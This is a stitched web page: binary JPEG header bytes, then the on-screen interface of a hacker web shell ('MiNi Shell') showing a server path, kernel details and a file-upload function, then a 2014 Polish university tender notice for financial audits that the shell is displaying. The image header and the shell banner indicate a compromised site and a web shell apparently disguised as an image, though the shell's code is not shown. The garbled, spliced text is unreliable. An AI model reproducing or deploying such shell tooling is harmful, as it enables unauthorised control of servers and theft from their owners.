JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20140515/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20140515/164354-N-2014.html

<p class="kh_header"><b>Poznań: Przeprowadzenie audytów finansowych</b><br>
<b>Numer ogłoszenia: 164354 - 2014; data zamieszczenia: 15.05.2014</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Uniwersytet Medyczny im. Karola Marcinkowskiego w Poznaniu , ul. Fredry 10, 61-701 Poznań, woj. wielkopolskie, tel. 61  854-60-00, faks 61 852-04 -55, 8546146.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.ump.edu.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Uczelnia publiczna.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Przeprowadzenie audytów finansowych.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> 1.	Przedmiotem zamówienia jest realizacja usług przeprowadzenia trzech audytów finansowych w ramach projektu Edukacja, promocja i profilaktyka w kierunku zdrowia jamy ustnej skierowana do małych dzieci, ich rodziców, opiekunów i wychowawców, współfinansowanego przez Szwajcarię w ramach szwajcarskiego programu współpracy z nowymi krajami członkowskimi Unii Europejskiej.
2.	Okresowe audyty finansowe zostaną przeprowadzone po każdych dwóch latach realizacji Projektu, a końcowy audyt Projektu po jego zakończeniu. Celem audytów jest wyrażenie opinii przez Wykonawcę na temat tego, czy sprawozdania finansowe zostały przygotowane pod każdym względem zgodnie z obowiązującymi ramami sprawozdawczości finansowej (ISA 200 punkt 3.).
3.	Wartość Projektu: 6 046 963 CHF.
4.	Wydatki poniesione do dnia 31 marca 2014 roku: 866.385,34 zł.
5.	Szczegółowy opis Projektu, zawierający w szczególności cele Projektu, znajduje się na stronie internetowej Projektu: http://www.zebymalegodziecka.pl 
6.	Audyty finansowe zostaną przeprowadzone zostaną w następujących terminach: 
6.1.	pierwszy okresowy audyt finansowy - 1-14 lipca 2014 roku - powinien obejmować okres od 1 lipca 2012 roku do 30 czerwca 2014 roku;
6.2.	drugi okresowy audyt finansowy -1-31 lipca 2016 roku - powinien obejmować okres od 1 lipca 2014 roku do 30 czerwca 2016 roku;
6.3.	audyt finansowy końcowy - 2-31 stycznia 2017 roku - powinien obejmować cały okres realizacji projektu, tj. od dnia 1 lipca  2012 roku do dnia 31 grudnia  2016 roku
7.	Audyty zostaną przeprowadzone w dniach roboczych, w godzinach 8.00 - 15.00, w siedzibie Zamawiającego - Uniwersytet Medyczny im. Karola Marcinkowskiego, 
ul. Fredry 10, 61-701 Poznań, oraz w siedzibach Partnerów Projektu, tj. w niżej wymienionych lokalizacjach: 
7.1.	Pomorski Uniwersytet Medyczny w Szczecinie;
7.2.	Gdański Uniwersytet Medyczny;
7.3.	Uniwersytet Medyczny w Białymstoku;
7.4.	Uniwersytet Medyczny w Lublinie;
7.5.	Warszawski Uniwersytet Medyczny;
7.6.	Uniwersytet Jagielloński - Collegium Medicum;
7.7.	Śląski Uniwersytet Medyczny;
7.8.	Państwowa Medyczna Wyższa Szkoła Zawodowa w Opolu, zgodnie z metodologią przeprowadzenia audytu zaproponowaną przez Wykonawcę Szczegółowe dane adresowe oraz godziny zostaną wskazane po zawarciu umowy z Wykonawcą w sprawie zamówienia publicznego.
8.	Audyty obejmują okres od dnia 1 lipca 2012 roku do dnia 31 grudnia 2016 roku.
9.	Wykonawca zobowiązany będzie do przeprowadzenia audytu finansowego zgodnie z Międzynarodowymi Standardami Rewizji Finansowej (ISA) wydanymi przez Międzynarodową Radę Standardów Rewizji Finansowej [International Auditing and Assurance Standards Board] (IAASB) Międzynarodowej Federacji Księgowych (IFAC) w celu osiągnięcia uzasadnionego zapewnienia, że sprawozdania finansowe jako całość są wolne od znaczących błędnych oświadczeń, niezależnie od tego czy wynikających z oszustwa czy błędu (ISA 200, punkt 3). Wykonawca weźmie pod uwagę wszelkie wymagania oraz sugestie Krajowej Instytucji Koordynującej - Ministerstwa Infrastruktury i Rozwoju lub Biura Szwajcarsko-Polskiego Programu Współpracy.
10.	W ramach audytu Wykonawca zweryfikuje czy Projekt jest realizowany zgodnie z wytycznymi i zasadami obowiązującymi dla obszaru tematycznego Ochrona zdrowia Szwajcarsko-Polskiego Programu Współpracy.
11.	Każdy z audytów zostanie przeprowadzony zgodnie z metodologią zaproponowaną przez Wykonawcę, zarówno u Lidera jak i u Partnerów. 
12.	Po zakończeniu każdego audytu, Wykonawca w ciągu 10 dni roboczych opracuje i przedstawi raport zawierający wnioski i zalecenia pokontrolne w języku polskim i angielskim.
13.	Zakres badania sprawozdań finansowych obejmuje:
13.1.	weryfikację poprawności księgowania wydatków w ramach realizowanego Projektu;
13.2.	ocenę kwalifikowalności kosztów oraz sposobu ich dokonywania i prowadzenia odrębnej ewidencji księgowej;
13.3.	stwierdzenie, czy wydatki wykazane we wnioskach o płatność zostały rzeczywiście poniesione;
13.4.	stwierdzenie wiarygodności sprawozdań z realizacji Projektu;
13.5.	stwierdzenie, czy nieprawidłowości, jeżeli takie nastąpiły, zostały usunięte zgodnie z zaleceniami; 
13.6.	weryfikację zgodności wniosków o płatność z księgami rachunkowymi w części dotyczącej Projektu; 
13.7.	poprawność wykorzystania środków finansowych. 
14.	Wykonawca przygotuje i przekaże Zamawiającemu raport oraz wnioski i zalecenia pokontrolne z audytu, które zawierać będą informacje, o których mowa w ust. 2, 9 oraz 13, a w szczególności wyniki badania w zakresie wskazanym w ust. 13 w odniesieniu do wydatków poniesionych w ramach Projektu. Raport zostanie przygotowany zgodnie ze wzorem zaproponowanym przez Wykonawcę. Dokumenty zostaną przygotowane zgodnie z wymogami określonymi w art. 65 ustawy z 29 września 1994 r. o rachunkowości (j.t. Dz. U. z 2013 r., poz. 330 z późn. zm.). 
15.	W przypadku wydania opinii zawierającej istotne zastrzeżenia albo wydania opinii negatywnej, Wykonawca przygotuje i przekaże Zamawiającemu uzasadnienie, wskazujące powody wydania takiej opinii w świetle obowiązujących przepisów. Wykonawca jest zobowiązany do przeniesienia na Zamawiającego praw autorskich do raportu oraz wniosków i zaleceń pokontrolnych z audytu. 
16.	Wykonawca do dnia 31 lipca 2014 roku w przypadku I audytu finansowego, 31 sierpnia 2016 roku w przypadku II audytu finansowego oraz 1 marca 2017 roku w przypadku audytu końcowego przedstawi Zamawiającemu wstępny raport z audytu, wraz z wnioskami i zaleceniami pokontrolnymi w języku polskim, w wersji papierowej oraz elektronicznej, a Zamawiający wniesie ewentualne uwagi do treści dokumentu. 
17.	Wykonawca do dnia 10 sierpnia 2014 roku w przypadku I audytu finansowego, 15 września 2016 roku w przypadku II audytu finansowego oraz 15 marca 2017 roku w przypadku audytu końcowego przekaże Zamawiającemu ostateczny raport z audytu, uwzględniający jego ewentualne uwagi, w jednym egzemplarzu wersji elektronicznej oraz w trzech egzemplarzach wersji papierowej. Ostateczny raport z audytu zostanie sporządzony przez Wykonawcę w języku polskim i zawierać będzie wnioski i zalecenia pokontrolne w języku polskim i angielskim. 
18.	Wykonawca na wniosek Zamawiającego weźmie udział w posiedzeniu  Komitetu Sterującego mającego za przedmiot omówienie raportu z okresowego audytu finansowego Projektu i udzieli w związku z tym wszelkich niezbędnych wyjaśnień dotyczących audytu oraz raportu z audytu. Ponadto, Wykonawca będzie zobowiązany udzielić Zamawiającemu wyjaśnień i informacji dotyczących audytu oraz raportu z audytu, na wniosek Zamawiającego, Instytucji Pośredniczącej, Krajowej Instytucję Koordynującej lub Biura Szwajcarsko-Polskiego Programu Współpracy. 
19.	Wykonawca, a także osoby uczestniczące w przeprowadzaniu audytu, muszą spełniać warunek bezstronności i niezależności w stosunku do Zamawiającego. W szczególności Zamawiający uznaje, że bezstronność i niezależność nie jest zachowana, jeżeli Wykonawca lub osoba uczestnicząca w przeprowadzaniu audytu odpowiednio:
19.1.	jest lub był w ostatnich 3 latach przed datą otwarcia ofert w niniejszym postępowaniu przedstawicielem prawnym (np. pełnomocnikiem) Zamawiającego lub pracownikiem Zamawiającego, Instytucji Pośredniczącej (Ministerstwo Zdrowia), Krajowej Instytucji Koordynującej (Ministerstwo Infrastruktury i Rozwoju) i Biura Szwajcarsko-Polskiego Programu Współpracy; 
19.2.	w ostatnich 3 latach przed datą otwarcia ofert w niniejszym postępowaniu uczestniczył w sporządzaniu dokumentów stanowiących przedmiot audytu; 
19.3.	osiągnął chociażby w jednym roku w ciągu ostatnich 5 lat przed datą otwarcia ofert w niniejszym postępowaniu co najmniej 50% przychodu rocznego z tytułu świadczenia usług na rzecz Zamawiającego lub Instytucji Pośredniczącej (Ministerstwo Zdrowia), Krajowej Instytucji Koordynującej (Ministerstwo Infrastruktury i Rozwoju) i Biura Szwajcarsko-Polskiego Programu Współpracy; 
19.4.	jest małżonkiem, krewnym lub powinowatym w linii prostej do drugiego stopnia lub jest związany z tytułu opieki, przysposobienia lub kurateli z osobą zarządzającą Zamawiającym albo zatrudnia przy prowadzeniu audytu takie osoby; 
19.5.	jest lub był zaangażowany w jakiejkolwiek formie w planowanie, realizację, zarządzanie Projektem. 
20.	Zamówienie jest współfinansowane przez Szwajcarię w ramach szwajcarskiego programu współpracy z nowymi krajami członkowskimi Unii Europejskiej.
21.	Wytworzona przez Wykonawcę dokumentacja powinna zostać przygotowana w oparciu o wzorzec graficzny dokumentacji projektowej dostarczony przez Zamawiającego po podpisaniu umowy..</p>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 79.21.20.00-3, 79.21.21.00-4.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 15.03.2017.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> Nie dotyczy</p>
<p><b>III.2) ZALICZKI</b></p>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Warunek ten będzie uznany za spełniony, jeżeli Wykonawca wykaże za pomocą dokumentów określonych w rozdziale VI ust. 1 pkt. 1.2. SIWZ oraz wymienionych poniżej, że w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wykonał należycie co najmniej trzy usługi polegające na przeprowadzeniu audytu finansowego projektu współfinansowanego z zagranicznych środków pomocowych (np. funduszy strukturalnych, funduszy szwajcarskich, norweskich lub funduszy Europejskiego Obszaru Gospodarczego), o wartości projektu min. 5.000.000,00 zł każdy. Każda usługa powinna być wykonana w ramach odrębnej umowy.</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Warunek ten będzie uznany za spełniony, jeżeli Wykonawca wykaże, za pomocą dokumentów określonych w rozdziale VI ust. 1 pkt. 1.3. SIWZ , że dysponuje co najmniej 2 osobami, z których każda:
1. spełnia wymóg bezstronności i niezależności w zakresie określonym w rozdziale III ust. 19 SIWZ;
2. posiada doświadczenie w przeprowadzaniu audytu finansowego projektów współfinansowanych ze środków pochodzących z zagranicznych środków pomocowych (np. funduszy strukturalnych, funduszy szwajcarskich, norweskich lub funduszy EOG) lub projektów współfinansowanych ze środków pochodzących z budżetu Unii Europejskiej , tj. osoba, które przed wszczęciem przedmiotowego postępowania uczestniczyła w realizacji co najmniej jednej usługi audytu finansowego projektu współfinansowanego ze środków pochodzących z zagranicznych środków pomocowych (np. funduszy strukturalnych, funduszy szwajcarskich, norweskich lub funduszy EOG) lub projektu współfinansowanego ze środków pochodzących z budżetu Unii Europejskiej, 
3. posiada uprawnienia biegłego rewidenta
4. przestrzega Międzynarodowych Standardów Rewizji Finansowej (ISA) wydanych przez Międzynarodową Radę Standardów Rewizji  Finansowej [International Auditing and Assurance Standards Board] (IAASB) Międzynarodowej Federacji Księgowych (IFAC).</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnianiu warunków udziału w postępowaniu należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, głównych dostaw lub usług, w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wraz z podaniem ich wartości, przedmiotu, dat wykonania i podmiotów, na rzecz których dostawy lub usługi zostały wykonane, oraz załączeniem dowodów, czy zostały wykonane lub są wykonywane należycie;</li>

<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami;</li>

<li  style="margin-bottom: 12px;">oświadczenie, że osoby, które będą uczestniczyć w wykonywaniu zamówienia, posiadają wymagane uprawnienia, jeżeli ustawy nakładają obowiązek posiadania takich uprawnień;</li>

</ul>
<p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia;</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul>

<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul><p class="bold">III.4.4)  Dokumenty dotyczące przynależności do tej samej grupy kapitałowej</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">			
<li style="margin-bottom: 12px;">lista podmiotów należących do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów albo informacji o tym, że nie należy do grupy kapitałowej;</li>

</ul>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b></p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>Zmiana postanowień  umowy w stosunku do treści oferty jest dopuszczalna w odniesieniu do:
1)	zmiany osoby, o której mowa w § 4 ust. 1  umowy, w przypadku zaistnienia okoliczności na którą Wykonawca oraz dana osoba nie mieli wpływu (np. choroba); 
w takiej sytuacji Wykonawca powinien złożyć na piśmie uzasadnienie zmiany osoby, wykazując jednocześnie, że nowa osoba, której zamierza powierzyć wykonanie swoich obowiązków, spełnia warunki wskazane w SIWZ i posiada nie mniejsze doświadczenie niż osoba zastępowana;
2)	zmiany końcowego terminu realizacji usługi, o którym mowa w § 5 ust. 1 Umowy, w przypadku zaistnienia ważnych przyczyn (w szczególności z uwagi na znaczne trudności w zrealizowaniu usługi w wyznaczonym terminie  spowodowane   przyczynami   obiektywnymi   lub   w   przypadku   opóźnień w podpisaniu niniejszej umowy, powodujących, iż dochowanie określonych terminów jest niemożliwe lub znacznie utrudnione);
3)	zmiany częściowych terminów realizacji usługi, o których mowa w § 5 ust. 2 Umowy w przypadku zaistnienia ważnych przyczyn (w szczególności z uwagi na znaczne trudności w zrealizowaniu usługi w wyznaczonym terminie  spowodowane   przyczynami   obiektywnymi lub w przypadku opóźnień w podpisaniu niniejszej umowy, powodujących, iż dochowanie określonych terminów jest niemożliwe lub znacznie utrudnione);
4)	zmiany całkowitego wynagrodzenia brutto, przewidzianego dla Wykonawcy, o którym mowa w § 8 ust. 1 Umowy - w przypadku zmiany urzędowej stawki podatku od towarów i usług,
5)	zmiany całkowitego wynagrodzenia brutto przewidzianego dla Wykonawcy, o którym mowa w § 8 ust. 1 Umowy - w przypadku zaistnienia okoliczności uzasadniających wskazaną zmianę, gdy będzie ona korzystna dla Zamawiającego,
6)	zmiany istotnej treści umowy, w przypadku zmiany przepisów prawa obowiązujących w dniu zawarcia umowy,
7)	zmiany istotnej treści umowy, spowodowanej koniecznością dostosowania jej postanowień do wymagań lub sugestii Krajowej Instytucji Koordynującej -  Ministerstwa Infrastruktury i Rozwoju lub Biura Szwajcarsko-Polskiego Programu Współpracy.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> http://administracja.ump.edu.pl/dzp<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Dział Zamówień Publicznych UMP, ul. Fredry 10, 61-701 Poznań, I piętro, pok. nr 113, 114.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 28.05.2014 godzina 09:00, miejsce: Dział Zamówień Publicznych UMP, ul. Fredry 10, 61-701 Poznań, I piętro, pok. nr 113, 114.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>





<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com